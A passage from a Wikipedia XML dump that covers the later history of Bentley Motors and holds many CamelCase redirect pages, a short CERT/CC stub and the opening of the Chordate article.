In [[1998]], Rolls-Royce and Bentley Motors was purchased from [[Vickers]] (its owner since [[1980]]) by [[Volkswagen Group|Volkswagen]] for £430 million, after bidding against [[BMW]]. BMW had recently started supplying components for the new range of cars, notably [[V8]] engines for the [[Bentley Arnage]] and [[V12 engine|V12]] engines for the [[Rolls-Royce Silver Seraph]]. The Rolls-Royce name was not included in VW's purchase; it was instead licensed to BMW (for £40 million) by the Rolls-Royce aero engine company. 

BMW and Volkswagen came to an agreement whereby Volkswagen would manufacture both Bentley and Rolls-Royce cars until the end of [[2002]], whereupon the right to build Rolls-Royce cars would be BMW's alone. During this period, Volkswagen reduced its reliance on BMW as a supplier: as of 2003, BMW engines are not used in Bentley cars.

===Modern Bentleys===
[[image:Bentley.ContinentalGT.coupe.300pix.jpg|thumb|250px|2004 Bentley Continental GT coupe]]
In [[2003]], Bentley's 2-door convertible, the [[Bentley Azure]], ceased production, and the company introduced the [[Bentley Continental|Continental GT]], a large luxury coupe. The car is powered by a version of VW's [[W-12 engine]].

Demand has been so great that the factory at [[Crewe]], [[Cheshire]], has been unable to satisfy demand despite producing 4,500 vehicles a year and there is a waiting list of over a year for new cars to be delivered. Consequently there are proposals to produce the new model [[Bentley Continental|Flying Spur]], a four-door version of the Continental GT (140.000 Euros) in [[Dresden]] in the same factory where the [[VW Phaeton]] luxury car is made.

In April, 2005, Bentley confirmed plans to produce a 4-seat convertible model, the [[Bentley Azure|Azure]], derived from the [[Bentley Arnage|Arnage Drophead Coupe]] prototype, at Crewe beginning in [[2006]]. By the fall of 2005, the convertible version of the successful Continental GT, the [[Bentley Continental|Continental GTC]] was also presented.

Bentley sales have been strong in [[2005]] with 8,627 sold worldwide, 3654 of these vehicles were sold in the United States.

* 1998&amp;ndash; [[Bentley Arnage|Arnage]] [[sedan (car)|saloon]]
* 2002&amp;ndash; [[Bentley State Limousine|State Limousine]]
* 2003&amp;ndash; [[Bentley Continental|Continental GT]] [[coupe]]
* 2005&amp;ndash; [[Bentley Continental Flying Spur|Continental Flying Spur]] [[sedan (car)|saloon]]
* 2006&amp;ndash; [[Bentley Azure|Azure]] [[convertible]]
* 2006&amp;ndash; [[Bentley Continental#Continental GTC|Continental GTC]] [[convertible]]

{{Modern Bentleys}}

===Current Bentley racing===
In [[2001]]-[[2003]], the [[Bentley Speed 8]] enjoyed a successful racing streak in the [[Le Mans]] series.

==Timeline==
{{Bentley}}

==See also==
{{commonscat|Bentley vehicles}}
*[[List of automobile manufacturers]]
[[Category:Prestige vehicles]]

== External links ==
*[http://www.bentleymotors.co.uk/ Bentley Motors]
**[http://www.bentleymotors.com/minisites/arnaget/en/arnaget.html Bentley Arnage T microsite]
**[http://www.bentleymotors.com/minisites/arnager/en/arnager.html Bentley Arnage R microsite]
**[http://www.bentleymotors.com/minisites/arnagerl/en/arnagerl.html Bentley Arnage RL microsite]
**[http://www.bentleymotors.com/minisites/bentley825/container.jsp?lang=en Bentley Azure microsite]
**[http://www.bentleymotors.com/minisites/continentalgt2door/container.jsp?lang=en Bentley Continental GT microsite]
**[http://www.bentleymotors.com/minisites/bentley615/container.jsp?lang=en Bentley Continental GTC microsite]
**[http://www.bentleymotors.com/minisites/bentley611/container.jsp?lang=en Bentley Continental Flying Spur microsite]  
*[http://www.bentleymedia.com/ Bentley Motors Media Relations]
*[http://biz.yahoo.com/ic/121/121299.html Yahoo! - Bentley Motors Inc. Company Profile]
*[http://www.rrab.com/ Archives of K.-J. Roßfeldt]
*[http://www.bentley-autos.com/ Bentley Autos] - Bentley owner's club established in 1951

*[http://www.stadioscope.com/ Stadioscope mirrors for WO Bentleys]

{{VW}}
[[Category:Bentley]]
[[Category:British automobile manufacturers]]
[[Category:Luxury car manufacturers]]
[[Category:Volkswagen]]

[[de:Bentley]]
[[fr:Bentley Motors]]
[[id:Bentley]]
[[he:בנטלי]]
[[nl:Bentley]]
[[ja:ベントレー]]
[[no:Bentley]]
[[pl:Bentley]]
[[ru:Бентли]]
[[sv:Bentley]]
[[tr:Bentley]]</text>
    </revision>
  </page>
  <page>
    <title>CountriesOfTheWorld</title>
    <id>5054</id>
    <revision>
      <id>15903296</id>
      <timestamp>2004-09-20T22:18:30Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of sovereign states]]</text>
    </revision>
  </page>
  <page>
    <title>ComputinG</title>
    <id>5055</id>
    <revision>
      <id>41913970</id>
      <timestamp>2006-03-02T16:07:02Z</timestamp>
      <contributor>
        <ip>201.252.7.13</ip>
      </contributor>
      <text xml:space="preserve" />
    </revision>
  </page>
  <page>
    <title>ComputerSoftware</title>
    <id>5056</id>
    <revision>
      <id>15903298</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Computer software]]
</text>
    </revision>
  </page>
  <page>
    <title>CommonSense</title>
    <id>5057</id>
    <revision>
      <id>15903299</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Common sense]]
</text>
    </revision>
  </page>
  <page>
    <title>CelticMusic</title>
    <id>5058</id>
    <revision>
      <id>15903300</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Celtic music]]
</text>
    </revision>
  </page>
  <page>
    <title>CountriesA</title>
    <id>5060</id>
    <revision>
      <id>15903301</id>
      <timestamp>2004-09-20T22:18:39Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of sovereign states]]</text>
    </revision>
  </page>
  <page>
    <title>CountriesN</title>
    <id>5061</id>
    <revision>
      <id>15903302</id>
      <timestamp>2004-09-20T22:18:42Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of sovereign states]]</text>
    </revision>
  </page>
  <page>
    <title>CountriesZ</title>
    <id>5062</id>
    <revision>
      <id>15903303</id>
      <timestamp>2004-09-20T22:18:46Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of sovereign states]]</text>
    </revision>
  </page>
  <page>
    <title>CountriesP</title>
    <id>5063</id>
    <revision>
      <id>15903304</id>
      <timestamp>2004-09-20T22:18:48Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of sovereign states]]</text>
    </revision>
  </page>
  <page>
    <title>CountriesG</title>
    <id>5064</id>
    <revision>
      <id>15903305</id>
      <timestamp>2004-09-20T22:18:52Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of sovereign states]]</text>
    </revision>
  </page>
  <page>
    <title>CountriesO</title>
    <id>5065</id>
    <revision>
      <id>15903306</id>
      <timestamp>2004-09-20T22:18:55Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of sovereign states]]</text>
    </revision>
  </page>
  <page>
    <title>CoBoL</title>
    <id>5066</id>
    <revision>
      <id>15903307</id>
      <timestamp>2003-01-24T16:26:43Z</timestamp>
      <contributor>
        <username>MyRedDice</username>
        <id>5862</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[COBOL]]</comment>
      <text xml:space="preserve">#REDIRECT [[COBOL]]</text>
    </revision>
  </page>
  <page>
    <title>ChristianIty</title>
    <id>5067</id>
    <revision>
      <id>15903308</id>
      <timestamp>2004-11-27T05:45:58Z</timestamp>
      <contributor>
        <username>Eric119</username>
        <id>7110</id>
      </contributor>
      <minor />
      <comment>add to category</comment>
      <text xml:space="preserve">#REDIRECT [[Christianity]] {{R from CamelCase}} &lt;!-- foo --&gt;</text>
    </revision>
  </page>
  <page>
    <title>CountriesS</title>
    <id>5068</id>
    <revision>
      <id>15903309</id>
      <timestamp>2004-09-20T22:19:03Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of sovereign states]]</text>
    </revision>
  </page>
  <page>
    <title>CountriesU</title>
    <id>5069</id>
    <revision>
      <id>15903310</id>
      <timestamp>2004-09-20T22:19:05Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of sovereign states]]</text>
    </revision>
  </page>
  <page>
    <title>CountriesD</title>
    <id>5070</id>
    <revision>
      <id>15903311</id>
      <timestamp>2004-09-20T22:19:08Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of sovereign states]]</text>
    </revision>
  </page>
  <page>
    <title>CountriesK</title>
    <id>5071</id>
    <revision>
      <id>15903312</id>
      <timestamp>2004-09-20T22:19:16Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of sovereign states]]</text>
    </revision>
  </page>
  <page>
    <title>CountrY</title>
    <id>5072</id>
    <revision>
      <id>15903313</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Country]]
</text>
    </revision>
  </page>
  <page>
    <title>CountriesC</title>
    <id>5073</id>
    <revision>
      <id>15903314</id>
      <timestamp>2004-09-20T22:19:26Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of sovereign states]]</text>
    </revision>
  </page>
  <page>
    <title>CountriesH</title>
    <id>5074</id>
    <revision>
      <id>15903315</id>
      <timestamp>2004-09-20T22:19:28Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of sovereign states]]</text>
    </revision>
  </page>
  <page>
    <title>CountriesJ</title>
    <id>5075</id>
    <revision>
      <id>15903316</id>
      <timestamp>2004-09-20T22:19:34Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of sovereign states]]</text>
    </revision>
  </page>
  <page>
    <title>CountriesB</title>
    <id>5076</id>
    <revision>
      <id>15903317</id>
      <timestamp>2004-09-20T22:19:38Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of sovereign states]]</text>
    </revision>
  </page>
  <page>
    <title>CountriesL</title>
    <id>5077</id>
    <revision>
      <id>15903318</id>
      <timestamp>2004-09-20T22:19:46Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of sovereign states]]</text>
    </revision>
  </page>
  <page>
    <title>CountriesM</title>
    <id>5078</id>
    <revision>
      <id>15903319</id>
      <timestamp>2004-09-20T22:19:50Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of sovereign states]]</text>
    </revision>
  </page>
  <page>
    <title>CountriesE</title>
    <id>5079</id>
    <revision>
      <id>15903320</id>
      <timestamp>2004-09-20T22:19:57Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of sovereign states]]</text>
    </revision>
  </page>
  <page>
    <title>CountriesF</title>
    <id>5080</id>
    <revision>
      <id>15903321</id>
      <timestamp>2004-09-20T22:19:59Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of sovereign states]]</text>
    </revision>
  </page>
  <page>
    <title>CountriesQ</title>
    <id>5081</id>
    <revision>
      <id>15903322</id>
      <timestamp>2004-09-20T22:20:02Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of sovereign states]]</text>
    </revision>
  </page>
  <page>
    <title>CountriesI</title>
    <id>5082</id>
    <revision>
      <id>15903323</id>
      <timestamp>2004-09-20T22:20:04Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of sovereign states]]</text>
    </revision>
  </page>
  <page>
    <title>CityBerlin</title>
    <id>5085</id>
    <revision>
      <id>15903324</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Berlin]]
</text>
    </revision>
  </page>
  <page>
    <title>ChesS</title>
    <id>5087</id>
    <revision>
      <id>15903325</id>
      <timestamp>2004-11-27T02:43:37Z</timestamp>
      <contributor>
        <username>Eric119</username>
        <id>7110</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Chess]] {{R from CamelCase}}</text>
    </revision>
  </page>
  <page>
    <title>CountriesR</title>
    <id>5088</id>
    <revision>
      <id>15903326</id>
      <timestamp>2004-09-20T22:20:09Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of sovereign states]]</text>
    </revision>
  </page>
  <page>
    <title>CantorSet</title>
    <id>5089</id>
    <revision>
      <id>15903327</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Cantor_set]]
</text>
    </revision>
  </page>
  <page>
    <title>ChristianityTalk</title>
    <id>5090</id>
    <revision>
      <id>15903328</id>
      <timestamp>2002-10-14T08:15:01Z</timestamp>
      <contributor>
        <username>Aldie</username>
        <id>901</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Talk:Christianity]]</comment>
      <text xml:space="preserve">#REDIRECT [[Talk:Christianity]]</text>
    </revision>
  </page>
  <page>
    <title>ColdWar</title>
    <id>5093</id>
    <revision>
      <id>15903329</id>
      <timestamp>2003-10-28T12:09:40Z</timestamp>
      <contributor>
        <username>GCarty</username>
        <id>10379</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Cold War]]</text>
    </revision>
  </page>
  <page>
    <title>CategorySchemes</title>
    <id>5094</id>
    <revision>
      <id>15903330</id>
      <timestamp>2002-10-10T11:25:33Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[wikipedia:Category schemes]] </comment>
      <text xml:space="preserve">#REDIRECT [[wikipedia:Category schemes]]</text>
    </revision>
  </page>
  <page>
    <title>CategorySchemesTalk</title>
    <id>5096</id>
    <revision>
      <id>15903332</id>
      <timestamp>2002-10-09T13:34:03Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>fixed redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Wikipedia talk:Category schemes]]</text>
    </revision>
  </page>
  <page>
    <title>CryptologY</title>
    <id>5097</id>
    <revision>
      <id>15903333</id>
      <timestamp>2004-03-21T21:00:39Z</timestamp>
      <contributor>
        <username>Matt Crypto</username>
        <id>50457</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Cryptography]]</comment>
      <text xml:space="preserve">#REDIRECT [[Cryptography]]</text>
    </revision>
  </page>
  <page>
    <title>CryptographY</title>
    <id>5098</id>
    <revision>
      <id>26275424</id>
      <timestamp>2005-10-23T15:01:05Z</timestamp>
      <contributor>
        <username>GBL</username>
        <id>522043</id>
      </contributor>
      <comment>db added</comment>
      <text xml:space="preserve">#REDIRECT [[Cryptography]]</text>
    </revision>
  </page>
  <page>
    <title>CryptanalysiS</title>
    <id>5099</id>
    <revision>
      <id>15903335</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Cryptanalysis]]
</text>
    </revision>
  </page>
  <page>
    <title>CodE</title>
    <id>5100</id>
    <revision>
      <id>15903336</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Code]]
</text>
    </revision>
  </page>
  <page>
    <title>CipheR</title>
    <id>5101</id>
    <revision>
      <id>15903337</id>
      <timestamp>2004-07-18T00:29:52Z</timestamp>
      <contributor>
        <username>Matt Crypto</username>
        <id>50457</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Encryption]]</comment>
      <text xml:space="preserve">#REDIRECT [[Encryption]]</text>
    </revision>
  </page>
  <page>
    <title>CharlestoN</title>
    <id>5103</id>
    <revision>
      <id>15903339</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Charleston]]
</text>
    </revision>
  </page>
  <page>
    <title>ConsequentialIsm</title>
    <id>5104</id>
    <revision>
      <id>15903340</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Consequentialism]]
</text>
    </revision>
  </page>
  <page>
    <title>ConsolationOfPhilosophy</title>
    <id>5105</id>
    <revision>
      <id>15903341</id>
      <timestamp>2004-05-27T20:12:53Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Consolation of Philosophy]]</text>
    </revision>
  </page>
  <page>
    <title>CERT</title>
    <id>5106</id>
    <revision>
      <id>40361358</id>
      <timestamp>2006-02-20T01:33:46Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">{{dablink|For other meanings of CERT, see [[CERT (disambiguation)]]}}

The '''CERT/CC''' (Computer Emergency Response Team Coordination Center) was created by [[DARPA]] in [[November]] [[1988]] after the [[Morris worm]] struck.  It is a major coordination center in dealing with [[internet security]] problems.  

The CERT/CC is run by the federally funded [[Software Engineering Institute]] (SEI) at [[Carnegie Mellon University]].  The SEI also created the Capability Maturity Model (CMM).

The CERT/CC is not to be confused with United States Computer Emergency Readiness Team ([[US-CERT]]) which is part of the [[National Cyber Security Division]] of the [[United States Government]]'s [[Department of Homeland Security]].  The two organisations work closely together and cross reference each other. 

==External links==
* [http://www.cert.org/ Official homepage]

== See also ==
* [[US-CERT]]

{{Compu-stub}}&lt;!-- should be something like compu-sec-stub but I could not find it ~~~~ --&gt;
[[Category:Computer security]]
[[Category:Carnegie Mellon University]]
[[it:CERT]]
[[de:CERT]]</text>
    </revision>
  </page>
  <page>
    <title>CommonSenseAndTheDiallelus</title>
    <id>5107</id>
    <revision>
      <id>15903343</id>
      <timestamp>2004-04-11T23:46:07Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Regress argument]]</text>
    </revision>
  </page>
  <page>
    <title>CapitalisM</title>
    <id>5109</id>
    <revision>
      <id>23068428</id>
      <timestamp>2005-09-11T23:51:06Z</timestamp>
      <contributor>
        <username>Angr</username>
        <id>157842</id>
      </contributor>
      <minor />
      <comment>cannot be deleted because history must be preserved for GFDL</comment>
      <text xml:space="preserve">#REDIRECT [[Capitalism]]</text>
    </revision>
  </page>
  <page>
    <title>ConsciousNess</title>
    <id>5110</id>
    <revision>
      <id>15903345</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Consciousness]]
</text>
    </revision>
  </page>
  <page>
    <title>CrankS</title>
    <id>5111</id>
    <revision>
      <id>15903346</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Crank]]
</text>
    </revision>
  </page>
  <page>
    <title>CharlieChaplin</title>
    <id>5112</id>
    <revision>
      <id>15903347</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Charlie Chaplin]]
</text>
    </revision>
  </page>
  <page>
    <title>CapitalismTalk</title>
    <id>5113</id>
    <revision>
      <id>15903348</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[talk:Capitalism]]
</text>
    </revision>
  </page>
  <page>
    <title>CopyrightTalk</title>
    <id>5114</id>
    <revision>
      <id>15903349</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[talk:Copyright]]
</text>
    </revision>
  </page>
  <page>
    <title>Cambodian Language</title>
    <id>5115</id>
    <revision>
      <id>15903350</id>
      <timestamp>2004-03-11T15:40:39Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Khmer language]]</text>
    </revision>
  </page>
  <page>
    <title>ChordaTa</title>
    <id>5120</id>
    <revision>
      <id>15903352</id>
      <timestamp>2002-08-28T20:03:51Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <minor />
      <comment>bypassing double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Chordate]]</text>
    </revision>
  </page>
  <page>
    <title>CombinaTorics</title>
    <id>5121</id>
    <revision>
      <id>15903353</id>
      <timestamp>2004-12-09T13:10:53Z</timestamp>
      <contributor>
        <username>Jnc</username>
        <id>18024</id>
      </contributor>
      <minor />
      <comment>Add R_from_Camel</comment>
      <text xml:space="preserve">#REDIRECT [[Combinatorics]] {{R_from_CamelCase}}</text>
    </revision>
  </page>
  <page>
    <title>ConStellations</title>
    <id>5122</id>
    <revision>
      <id>15903354</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Constellation]]
</text>
    </revision>
  </page>
  <page>
    <title>CognitiveTherapy</title>
    <id>5123</id>
    <revision>
      <id>15903355</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Cognitive therapy]]
</text>
    </revision>
  </page>
  <page>
    <title>CategoryTheory</title>
    <id>5125</id>
    <revision>
      <id>15903356</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Category theory]]
</text>
    </revision>
  </page>
  <page>
    <title>ChoosingSummaryStatistics</title>
    <id>5126</id>
    <revision>
      <id>15903357</id>
      <timestamp>2002-10-09T13:34:37Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Summary statistics]]</comment>
      <text xml:space="preserve">#REDIRECT [[Summary statistics]]</text>
    </revision>
  </page>
  <page>
    <title>ComedyFilm</title>
    <id>5128</id>
    <revision>
      <id>15903358</id>
      <timestamp>2002-05-23T16:58:08Z</timestamp>
      <contributor>
        <username>Karen Johnson</username>
        <id>1300</id>
      </contributor>
      <minor />
      <comment>correcting</comment>
      <text xml:space="preserve">#REDIRECT [[Comedy film]]</text>
    </revision>
  </page>
  <page>
    <title>CultFilm</title>
    <id>5129</id>
    <revision>
      <id>15903359</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Cult film]]
</text>
    </revision>
  </page>
  <page>
    <title>CountriesT</title>
    <id>5130</id>
    <revision>
      <id>15903360</id>
      <timestamp>2004-09-20T22:20:12Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of sovereign states]]</text>
    </revision>
  </page>
  <page>
    <title>Chordate</title>
    <id>5131</id>
    <revision>
      <id>41944392</id>
      <timestamp>2006-03-02T20:15:59Z</timestamp>
      <contributor>
        <username>ACW</username>
        <id>108029</id>
      </contributor>
      <comment>Promote tetrapods to sarcopterygii; see talk page for details.</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Chordates
| image = Tuna.jpg
| image_caption = [[Yellowfin tuna]], ''Thunnus albacares''
| domain = [[Eukaryote|Eukaryota]]
| regnum = [[Animal]]ia
| superphylum = [[Deuterostomia]]
| phylum = '''Chordata'''
| phylum_authority = [[William Bateson|Bateson]], 1885
| subdivision_ranks = Typical Classes
| subdivision = 
* Subphylum [[Tunicata|Urochordata]] - [[Tunicata]]s
** [[Ascidiacea]]
** [[Thaliacea]]
** [[Larvacea]]
* Subphylum [[Lancelet|Cephalochordata]] - [[Lancelet]]s
* Subphylum [[Hagfish|Myxini]] - [[Hagfish]]es
* Subphylum [[Vertebrate|Vertebrata]] - [[Vertebrate]]s
** [[Lamprey|Petromyzontida]] - [[Lamprey]]s
** [[Placodermi]] (''extinct'')
** [[Chondrichthyes]] - [[cartilage|Cartilaginous]] [[fish]]es
** [[Acanthodii]] (''extinct'')
** [[Actinopterygii]] - Ray-finned fishes
** [[Actinistia]] - [[Coelacanth]]s
** [[Lungfish|Dipnoi]] - [[Lungfish]]es
** [[Amphibia]] - [[Amphibian]]s
** [[Reptile|Reptilia]] - [[Reptile]]s
** [[Bird|Aves]] - [[Bird]]s
** [[Mammal]]ia - [[Mammal]]s
}}
'''Chordates''' ([[phylum (biology)|phylum]] '''Chordata''') are a group of  [[animal]]s that includes the [[vertebrate]]s, together with several closely related [[invertebrate]]s. They are united by having, at some stage in their life, a [[notochord]], a hollow dorsal nerve cord, [[pharyngeal slit]]s, an [[endostyle]], and a muscular [[tail]] extending past the anus. Some scientists argue, however, that the true qualifier should be pharyngeal pouches rather than slits.

The phylum Chordata is broken down into three subphyla: [[Urochordata]], [[Cephalochordata]], and [[Vertebrata]]. Urochordate larvae have a notochord and a nerve cord but they are lost in adulthood. Cephalochordates have a notochord and a nerve cord but no [[vertebra]]. In all vertebrates except for [[Hagfish]], the dorsal hollow nerve cord has been surrounded with [[cartilaginous]] or bony vertebrae and the notocord generally reduced.

The chordates and two sister phyla, the [[hemichordate]]s and the [[echinoderm]]s, make up the [[deuterostomes]], a [[superphylum]].

The extant groups of chordates are related as shown in the [[phylogenetic tree]], below. They do not match up very well with the traditional groups, and as a result vertebrate classification is in a state of flux, although their relationships are not very well understood.

Chordata
* [[Tunicata|Urochordata]] 
* [[Lancelet|Cephalochordata]] 
* [[Craniata]] (animals with skulls)
** [[Myxini]] or [[Hyperotreti]] (hagfish)
** [[Vertebrata]] (animals with backbones)
*** [[Lamprey|Cephalaspidomorphi]] (lampreys)
*** [[Gnathostomata]] ([[jaw]]ed vertebrates)
**** [[Chondrichthyes]] (cartilaginous fish)
**** [[Teleostomi]] (bony fish, ~ [[Osteichthyes]])
***** [[Actinopterygii]] (ray-finned fish)
***** [[Sarcopterygii]] (lobe-finned fish)
****** [[Actinistia]] ([[coelacanth]]s)
****** [[Dipnoi]] (lungfishes)
****** [[Tetrapoda]] (four-legged vertebrates)
